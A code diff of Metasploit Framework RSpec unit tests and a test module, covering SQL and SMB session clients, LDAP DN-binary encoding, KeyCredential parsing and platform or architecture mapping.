@@ -66,7 +66,7 @@ RSpec.describe Msf::OptionGroup do
end
it 'validates the options in the group' do
expect { subject.validate(options, datastore) }.not_to raise_error(Msf::OptionValidateError)
expect { subject.validate(options, datastore) }.not_to raise_error
end
end
@@ -78,7 +78,7 @@ RSpec.describe Msf::OptionGroup do
end
it 'validates the options in the group' do
expect { subject.validate(options, datastore) }.not_to raise_error(Msf::OptionValidateError)
expect { subject.validate(options, datastore) }.not_to raise_error
end
end
@@ -89,7 +89,7 @@ RSpec.describe Msf::OptionGroup do
end
it 'does not attempt to validate the options' do
expect { subject.validate(options, datastore) }.not_to raise_error(Msf::OptionValidateError)
expect { subject.validate(options, datastore) }.not_to raise_error
end
end
end
@@ -118,7 +118,7 @@ RSpec.describe Msf::OptionGroup do
end
it 'validates the options in the group' do
expect { subject.validate(options, datastore) }.not_to raise_error(Msf::OptionValidateError)
expect { subject.validate(options, datastore) }.not_to raise_error
end
end
@@ -129,7 +129,7 @@ RSpec.describe Msf::OptionGroup do
end
it 'does not attempt to validate the options' do
expect { subject.validate(options, datastore) }.not_to raise_error(Msf::OptionValidateError)
expect { subject.validate(options, datastore) }.not_to raise_error
end
end
end
@@ -4,7 +4,6 @@ require 'spec_helper'
require 'rex/post/mssql'
RSpec.describe Rex::Post::MSSQL::Ui::Console::CommandDispatcher::Core do
let(:rstream) { instance_double(::Rex::Socket) }
let(:client) { instance_double(Rex::Proto::MSSQL::Client) }
let(:session) { Msf::Sessions::MSSQL.new(nil, { client: client }) }
let(:address) { '192.0.2.1' }
@@ -18,9 +17,8 @@ RSpec.describe Rex::Post::MSSQL::Ui::Console::CommandDispatcher::Core do
let(:envchange_result) { { type: 1, old: 'master', new: 'master' } }
before(:each) do
allow(client).to receive(:sock).and_return(rstream)
allow(client).to receive(:initial_info_for_envchange).with({ envchange: 1 }).and_return(envchange_result)
allow(rstream).to receive(:peerinfo).and_return(peer_info)
allow(client).to receive(:peerinfo).and_return(peer_info)
allow(session).to receive(:client).and_return(client)
allow(session).to receive(:console).and_return(console)
allow(session).to receive(:name).and_return('test client name')
@@ -5,13 +5,12 @@ require 'rex/post/mysql/ui/console'
require 'rex/proto/mysql/client'
RSpec.describe Rex::Post::MySQL::Ui::Console::CommandDispatcher::Core do
let(:rstream) { instance_double(::Rex::Socket) }
let(:client) { instance_double(::Rex::Proto::MySQL::Client) }
let(:current_database) { 'database_name' }
let(:address) { '192.0.2.1' }
let(:port) { '3306' }
let(:peerinfo) { "#{address}:#{port}" }
let(:session) { Msf::Sessions::MySQL.new(rstream, { client: client }) }
let(:session) { Msf::Sessions::MySQL.new(nil, { client: client, platform: Msf::Platform::Linux.realname, arch: ARCH_X86_64 }) }
let(:console) do
console = Rex::Post::MySQL::Ui::Console.new(session)
console.disable_output = true
@@ -19,9 +18,8 @@ RSpec.describe Rex::Post::MySQL::Ui::Console::CommandDispatcher::Core do
end
before(:each) do
allow(rstream).to receive(:peerinfo).and_return(peerinfo)
allow(client).to receive(:peerinfo).and_return(peerinfo)
allow(client).to receive(:current_database).and_return(current_database)
allow(client).to receive(:socket).and_return(rstream)
allow(session).to receive(:console).and_return(console)
allow(session).to receive(:name).and_return('test client name')
allow(session).to receive(:sid).and_return('test client sid')
@@ -5,7 +5,6 @@ require 'rex/post/postgresql/ui/console'
require 'postgres/postgres-pr/connection'
RSpec.describe Rex::Post::PostgreSQL::Ui::Console::CommandDispatcher::Core do
let(:rstream) { instance_double(::Rex::Socket) }
let(:client) { instance_double(Msf::Db::PostgresPR::Connection) }
let(:address) { '192.0.2.1' }
let(:port) { '5432' }
@@ -19,10 +18,9 @@ RSpec.describe Rex::Post::PostgreSQL::Ui::Console::CommandDispatcher::Core do
end
before(:each) do
allow(client).to receive(:conn).and_return(rstream)
allow(client).to receive(:params).and_return({ 'database' => current_database })
allow(client).to receive(:current_database).and_return(current_database)
allow(rstream).to receive(:peerinfo).and_return(peer_info)
allow(client).to receive(:peerinfo).and_return(peer_info)
allow(session).to receive(:client).and_return(client)
allow(session).to receive(:console).and_return(console)
allow(session).to receive(:name).and_return('test client name')
+52
View File
@@ -0,0 +1,52 @@
require 'securerandom'
RSpec.describe Rex::Proto::LDAP::DnBinary do
let(:dn) do
'CN=User,CN=Users,DC=msf,DC=local'
end
let(:data) do
'abc123'
end
let(:sample) do
described_class.new(dn, data)
end
it 'encodes to the expected value' do
expect(sample.encode).to eq('B:12:616263313233:CN=User,CN=Users,DC=msf,DC=local')
end
it 'encodes an empty value' do
initial = described_class.new(dn, '')
encoded = initial.encode
expect(encoded).to eq('B:0::CN=User,CN=Users,DC=msf,DC=local')
decoded = described_class.decode(encoded)
expect(decoded.data).to eq('')
end
it 'throws exception with completely wrong format' do
expect { described_class.decode('definitely not a DN string') }.to raise_error(ArgumentError)
end
it 'throws exception without DN' do
expect { described_class.decode('B:12:616263313233') }.to raise_error(ArgumentError)
end
it 'throws exception on odd number of hex chars' do
expect { described_class.decode('B:11:61626331323:the_dn') }.to raise_error(ArgumentError)
end
it 'throws exception on inconsistent number of hex chars' do
expect { described_class.decode('B:12:626331323:the_dn') }.to raise_error(ArgumentError)
end
it 'reversibly decodes a random value' do
data = SecureRandom.bytes((SecureRandom.rand * 100).to_i + 1)
initial = described_class.new(dn, data)
encoded = initial.encode
decoded = described_class.decode(encoded)
expect(decoded.dn).to eq(initial.dn)
expect(decoded.data).to eq(initial.data)
end
end
+45
View File
@@ -0,0 +1,45 @@
require 'rex/proto/ms_adts/key_credential'
RSpec.describe Rex::Proto::MsAdts::KeyCredential do
let(:credential_str) do
["00020000200001767b3c80129f41b40503d78436c1c2084c2b79dd81ac19" +
"545eaa09a0b1448b41200002508e0ee3afa57294951857688e9a548d3a1f" +
"bfc6f74c1df91f1bf6ef994ca1fe1b010352534131000800000300000000" +
"0100000000000000000000010001edcb08aca75908258e2157dca5ef2679" +
"90204502a4119482fa2eca16a4134d4a5dbf6eec9771732e1196ee490246" +
"88dfbe51905343fb85a946b82e76a0e9b720d16c576f6b51a930ab69d134" +
"48ac0f5a2722b00559eb25a8359f9b0d00fc52f9fc44f84d0dfb15d45d3c" +
"af9c98ff7f0258867855916aa42d36042dc365717257be6f076cbc6ee282" +
"14ab653860d18778fc45b9bb5c6f9b31d9b166a9000332d0c486f0d09a63" +
"ffdd9e6d9cdbe89f6bd8c79b69d90d133d9eb8893999628bcddd107876c1" +
"b025872ba6657ecf92b673e24ee4f6eabc52c0f5907ec4cf57627a12752e" +
"587499893aae1bff5461f4d55e025d1ff7646baaf1b6500f6e2493174a79" +
"010004010100050010000695c280f0bc6f290e4c8b6ad1d1b3545c020007" +
"0100080008ecab5af7ce7fda01080009ecab5af7ce7fda01"].pack('H*')
end
let(:credential_struct) do
raw = credential_str
Rex::Proto::MsAdts::MsAdtsKeyCredentialStruct.read(raw)
end
it 'parses the expected value' do
expect(credential_struct).to be_a Rex::Proto::MsAdts::MsAdtsKeyCredentialStruct
credential = Rex::Proto::MsAdts::KeyCredential.from_struct(credential_struct)
expect(credential.public_key.e.to_i).to eq(65537)
expect(credential.public_key.n.to_i).to eq(30018598016909958640634853359759879550963200968043190152563783141554063738803530478839278609618973243780651826483205062757856223334872753534090760739709274582276885780114654791667392922235140822454036631549826712343512885423676381458429138803216305582530459349913700854720727598363220647901324366195130526789275685153466162756392687731569674974764917142530663770836683438609032320698328081684727231191567760732169431689494442498488083773992436698936823783263783535359718960574840595186049492067279886083653830420133872397484908514196242186454757791227057108296064066345936039955504692575343132997344017910838318287481)
expect(credential.key_approximate_last_logon_time).to eq('2024-03-27 09:43:05 +1100'.to_datetime)
expect(credential.key_creation_time).to eq('2024-03-27 09:43:05 +1100'.to_datetime)
expect(credential.key_hash).to eq(['508e0ee3afa57294951857688e9a548d3a1fbfc6f74c1df91f1bf6ef994ca1fe'].pack('H*'))
expect(credential.device_id).to eq('f080c295-6fbc-0e29-4c8b-6ad1d1b3545c')
expect(credential.key_id).to eq(["767b3c80129f41b40503d78436c1c2084c2b79dd81ac19545eaa09a0b1448b41"].pack('H*'))
expect(credential.key_usage).to eq(Rex::Proto::MsAdts::KeyCredential::KEY_USAGE_NGC)
end
it 'writing is the inverse of reading' do
expect(credential_struct).to be_a Rex::Proto::MsAdts::MsAdtsKeyCredentialStruct
credential = Rex::Proto::MsAdts::KeyCredential.from_struct(credential_struct)
result = credential.to_struct.to_binary_s
expect(result).to eq credential_str
end
end
+32
View File
@@ -0,0 +1,32 @@
# -*- coding: binary -*-
require 'spec_helper'
require 'rex/proto/mysql/client'
RSpec.describe Rex::Proto::MSSQL::Client do
let(:host) { '127.0.0.1' }
let(:port) { 1234 }
let(:info) { "#{host}:#{port}" }
let(:db_name) { 'my_db_name' }
let(:framework_module) { ::Msf::Module.new }
subject do
client = described_class.new(framework_module, nil, host, port)
client.current_database = db_name
client
end
it_behaves_like 'session compatible SQL client'
describe '#current_database' do
context 'we have not selected a database yet' do
subject do
described_class.new(framework_module, nil, host, port)
end
it 'returns an empty database name' do
expect(subject.current_database).to eq('')
end
end
end
end
+70 -6
View File
@@ -4,13 +4,77 @@ require 'spec_helper'
require 'rex/proto/mysql/client'
RSpec.describe Rex::Proto::MySQL::Client do
let(:host) { '127.0.0.1' }
let(:port) { 1234 }
let(:info) { "#{host}:#{port}" }
let(:db_name) { 'my_db_name' }
subject do
addr_info = instance_double(Addrinfo, ip_address: host, ip_port: port)
socket = instance_double(Socket, remote_address: addr_info)
client = described_class.new(io: socket)
allow(client).to receive(:session_track).and_return({ 1 => [db_name] })
client
end
it { is_expected.to be_a ::Mysql }
[
{ method: :peerhost, return_type: String },
{ method: :peerport, return_type: Integer },
{ method: :current_database, return_type: String }
].each do |method_hash|
it { is_expected.to respond_to method_hash[:method] }
it_behaves_like 'session compatible SQL client'
describe '#current_database' do
context 'we have not selected a database yet' do
before(:each) do
allow(subject).to receive(:session_track).and_return({})
end
it 'returns an empty database name' do
expect(subject.current_database).to eq('')
end
end
end
describe '#map_compile_os_to_platform' do
[
{ info: 'linux', expected: Msf::Platform::Linux.realname },
{ info: 'linux2.6', expected: Msf::Platform::Linux.realname },
{ info: 'debian-linux-gnu', expected: Msf::Platform::Linux.realname },
{ info: 'win', expected: Msf::Platform::Windows.realname },
{ info: 'windows', expected: Msf::Platform::Windows.realname },
{ info: 'darwin', expected: Msf::Platform::OSX.realname },
{ info: 'osx', expected: Msf::Platform::OSX.realname },
{ info: 'macos', expected: Msf::Platform::OSX.realname },
{ info: 'unix', expected: Msf::Platform::Unix.realname },
{ info: 'solaris', expected: Msf::Platform::Solaris.realname },
{ info: '', expected: Msf::Platform::Unknown.realname },
{ info: 'blank', expected: Msf::Platform::Unknown.realname },
{ info: nil, expected: Msf::Platform::Unknown.realname },
].each do |test|
it "correctly identifies '#{test[:info]}' as '#{test[:expected]}'" do
expect(subject.map_compile_os_to_platform(test[:info])).to eq(test[:expected])
end
end
end
describe '#map_compile_arch_to_architecture' do
[
{ info: 'x86_64', expected: ARCH_X86_64 },
{ info: 'x86_x64', expected: ARCH_X86_64 },
{ info: 'x64', expected: ARCH_X86_64 },
{ info: '64', expected: ARCH_X86_64 },
{ info: 'x86', expected: ARCH_X86 },
{ info: '86', expected: ARCH_X86 },
{ info: 'i686', expected: ARCH_X86 },
{ info: 'arm64', expected: ARCH_AARCH64 },
{ info: 'arm', expected: ARCH_AARCH64 },
{ info: 'sparc', expected: ARCH_SPARC },
{ info: 'sparc64', expected: ARCH_SPARC64 },
{ info: '', expected: '' },
{ info: 'blank', expected: '' },
{ info: nil, expected: '' },
].each do |test|
it "correctly identifies '#{test[:info]}' as '#{test[:expected]}'" do
expect(subject.map_compile_arch_to_architecture(test[:info])).to eq(test[:expected])
end
end
end
end
@@ -0,0 +1,23 @@
# -*- coding: binary -*-
require 'spec_helper'
require 'postgres/postgres-pr/connection'
RSpec.describe Msf::Db::PostgresPR::Connection do
let(:host) { '127.0.0.1' }
let(:port) { 1234 }
let(:info) { "#{host}:#{port}" }
let(:db_name) { 'my_db_name' }
let(:socket) { double(Rex::Socket, peerhost: host, peerport: port) }
let(:message) { Msf::Db::PostgresPR::ReadyForQuery.new('') }
subject do
allow(socket).to receive(:<<)
allow(Msf::Db::PostgresPR::Message).to receive(:read).and_return(message)
allow(Rex::Socket).to receive(:create).and_return(socket)
client = described_class.new(db_name, 'username', 'password', "tcp://#{host}:#{port}")
client
end
it_behaves_like 'session compatible SQL client'
end
@@ -0,0 +1,18 @@
# -*- coding: binary -*-
require 'spec_helper'
require 'rex/proto/smb/simple_client'
RSpec.describe Rex::Proto::SMB::SimpleClient do
let(:host) { '127.0.0.1' }
let(:port) { 1234 }
let(:info) { "#{host}:#{port}" }
subject do
socket = instance_double(Rex::Socket, peerinfo: info)
client = described_class.new(socket)
client
end
it_behaves_like 'session compatible client'
end
@@ -0,0 +1,122 @@
# frozen_string_literal: true
RSpec.shared_examples 'client session' do
subject(:session) do
session = described_class.new(nil, opts)
session.user_input = user_input
session.user_output = user_output
session.name = name
session
end
describe '.type' do
it 'should have the correct type' do
expect(described_class.type).to eq(type)
end
end
describe '.can_cleanup_files' do
it 'should be able to cleanup files' do
expect(described_class.can_cleanup_files).to eq(can_cleanup_files)
end
end
describe '#desc' do
it 'should have the correct description' do
expect(subject.desc).to eq(description)
end
end
describe '#type' do
it 'should have the correct type' do
expect(subject.type).to eq(type)
end
end
describe '#initialize' do
context 'without a client' do
let(:opts) { {} }
it 'raises a KeyError' do
expect { subject }.to raise_exception(KeyError)
end
end
context 'with a client' do
it 'does not raise an exception' do
expect { subject }.not_to raise_exception
end
end
it 'creates a new console' do
expect(subject.console).to be_a(console_class)
end
end
describe '#bootstrap' do
subject { session.bootstrap }
it 'keeps the sessions user input' do
expect { subject }.not_to change(session, :user_input).from(user_input)
end
it 'keeps the sessions user output' do
expect { subject }.not_to change(session, :user_output).from(user_output)
end
it 'sets the console input' do
expect { subject }.to change(session.console, :input).to(user_input)
end
it 'sets the console output' do
expect { subject }.to change(session.console, :output).to(user_output)
end
it 'sets the log source' do
expect { subject }.to change(session.console, :log_source).to(log_source)
end
end
describe '#reset_ui' do
before(:each) do
session.bootstrap
end
subject { session.reset_ui }
it 'keeps the sessions user input' do
expect { subject }.not_to change(session, :user_input).from(user_input)
end
it 'keeps the sessions user output' do
expect { subject }.not_to change(session, :user_output).from(user_output)
end
it 'resets the console input' do
expect { subject }.to change(session.console, :input).from(user_input).to(nil)
end
it 'resets the console output' do
expect { subject }.to change(session.console, :output).from(user_output).to(nil)
end
end
describe '#exit' do
subject { session.exit }
it 'exits the session' do
expect { subject }.to change(session.console, :stopped?).from(false).to(true)
end
end
describe '#address' do
subject { session.address }
it { is_expected.to eq(address) }
end
describe '#port' do
subject { session.port }
it { is_expected.to eq(port) }
end
end
@@ -0,0 +1,37 @@
# frozen_string_literal: true
RSpec.shared_examples 'session compatible client' do
it { is_expected.to respond_to(:peerhost).with(0).arguments }
it { is_expected.to respond_to(:peerport).with(0).arguments }
it { is_expected.to respond_to(:peerinfo).with(0).arguments }
describe '#peerhost' do
it 'returns the ip address' do
expect(subject.peerhost).to eq(host)
end
end
describe '#peerport' do
it 'returns the port number' do
expect(subject.peerport).to eq(port)
end
end
describe '#peerinfo' do
it 'returns the peer info' do
expect(subject.peerinfo).to eq(info)
end
end
end
RSpec.shared_examples 'session compatible SQL client' do
it_behaves_like 'session compatible client'
it { is_expected.to respond_to(:current_database).with(0).arguments }
describe '#current_database' do
it 'returns the database name' do
expect(subject.current_database).to eq(db_name)
end
end
end
+78
View File
@@ -0,0 +1,78 @@
require 'rex/post/meterpreter/extensions/stdapi/command_ids'
require 'rex'
lib = File.join(Msf::Config.install_root, "test", "lib")
$LOAD_PATH.push(lib) unless $LOAD_PATH.include?(lib)
require 'module_test'
class MetasploitModule < Msf::Post
include Msf::ModuleTest::PostTest
include Msf::ModuleTest::PostTestFileSystem
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Testing MSSQL sessions work',
'Description' => %q{ This module will test the mssql sessions work },
'License' => MSF_LICENSE,
'Author' => [ 'zachgoldman'],
'Platform' => all_platforms,
'SessionTypes' => [ 'mssql' ]
)
)
end
def setup
super
end
def cleanup
super
end
def test_console_query
it "should return a version" do
stdout = with_mocked_console(session) { |console| console.run_single("query 'select @@version;'") }
ret = true
ret &&= stdout.buf.match?(/Microsoft SQL Server \d+.\d+/)
ret
end
end
def test_console_help
it "should support the help command" do
stdout = with_mocked_console(session) { |console| console.run_single("help") }
ret = true
ret &&= stdout.buf.include?('Core Commands')
ret &&= stdout.buf.include?('MSSQL Client Commands')
ret
end
end
private
def all_platforms
Msf::Module::Platform.subclasses.collect { |c| c.realname.downcase }
end
# Wrap the console with a mocked stdin/stdout for testing purposes. This ensures the console
# will not write the real stdout, and the contents can be verified in the test
# @param [Session] session
# @return [Rex::Ui::Text::Output::Buffer] the stdout buffer
def with_mocked_console(session)
old_input = session.console.input
old_output = session.console.output
mock_input = Rex::Ui::Text::Input.new
mock_output = Rex::Ui::Text::Output::Buffer.new
session.console.init_ui(mock_input, mock_output)
yield session.console
mock_output
ensure
session.console.init_ui(old_input, old_output)
end
end